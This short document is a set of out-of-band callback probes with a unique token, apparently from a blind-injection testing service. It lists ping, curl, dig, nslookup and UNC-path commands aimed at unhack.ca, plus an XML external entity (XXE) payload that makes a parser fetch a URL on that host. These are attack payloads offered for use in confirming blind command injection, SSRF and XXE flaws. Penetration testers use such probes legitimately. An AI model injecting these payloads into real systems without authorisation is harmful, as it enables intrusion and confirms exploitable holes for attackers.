$ ping -c1 -p 003a72b1c1019e1156022f0e6a582c00 unhack.ca
 

$ curl http://unhack.ca/p/3a72b1c1019e1156022f0e6a582c
 

$ dig 3a72b1c1019e1156022f0e6a582c @unhack.ca
 

$ dig 3a72b1c1019e1156022f0e6a582c.ns.unhack.ca
 

C:\> nslookup 3a72b1c1019e1156022f0e6a582c unhack.ca
 

C:\> type \\unhack.ca\3a72b1c1019e1156022f0e6a582c\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3a72b1c1019e1156022f0e6a582c">]>
    <foo>&xxe;</foo>